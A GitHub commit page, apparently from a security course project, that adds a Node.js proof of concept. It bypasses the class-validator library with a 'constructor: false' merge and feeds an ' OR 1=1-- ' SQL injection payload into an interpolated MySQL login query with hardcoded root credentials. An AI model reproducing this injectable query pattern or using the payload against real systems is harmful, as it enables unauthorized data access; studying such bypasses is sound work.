Skip to content

Commit 824fa54

Browse files
committed
class validator installed
1 parent 4d4666e commit 824fa54

File tree

7 files changed

+356
-39
lines changed

7 files changed

+356
-39
lines changed

.vs/VSWorkspaceState.json

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,13 +2,15 @@
22
"ExpandedNodes": [
33
"",
44
"\\bson-objectid",
5+
"\\class-validator",
56
"\\clone-deep",
67
"\\component_type",
78
"\\data",
89
"\\jpv",
910
"\\kind_of",
11+
"\\models",
1012
"\\routes"
1113
],
12-
"SelectedNode": "\\kind_of\\attack.js",
14+
"SelectedNode": "\\class-validator\\class-validator_handling.js",
1315
"PreviewInSolutionExplorer": false
1416
}
Binary file not shown.

.vs/slnx.sqlite

0 Bytes
Binary file not shown.
Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
var mysql = require('mysql2');
2+
var classValidator = require('class-validator');
3+
4+
let requirements = {
5+
host: 'localhost',
6+
user: 'root',
7+
password: 'compsec2',
8+
database: 'sqldatabase'
9+
};
10+
var connection = mysql.createConnection(requirements);
11+
12+
function bypassedValidation(emailInput, passwordInput) {
13+
const sqlquery1 = `SELECT * FROM login WHERE email = ${emailInput} AND password = ${passwordInput}`;
14+
connection.query(sqlquery1, function (error, rows) {
15+
if (error) throw error;
16+
console.log(rows);
17+
});
18+
19+
return ;
20+
}
21+
class attackSchema {
22+
email;
23+
password
24+
}
25+
let param = {
26+
email: ' " OR 1=1--',
27+
password: ' " OR 1=1--',
28+
constructor: false
29+
};
30+
31+
let test1Param = Object.assign(attackSchema, param);
32+
console.log("This is the merged schema:")
33+
console.log(test1Param);
34+
35+
36+
classValidator.validate(test1Param).then(errors => {
37+
if (errors.length > 0) {
38+
console.log('invalid email and or password, unable to validate user', errors);
39+
} else {
40+
console.log('valid email and password, user successfully validated. Relevant Database Information:');
41+
bypassedValidation(test1Param.email, test1Param.password);
42+
}
43+
});
44+
45+
return;

jpv/2.2.1_JPV_internal_attack.js

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ function exampleJPV() {
1717
const input = {
1818
aMap: {
1919
badcode: "problematic input.",
20-
constructor: new Map().constructor
20+
constructor: new Map.constructor
2121
}
2222
};
2323

0 commit comments

Comments
 (0)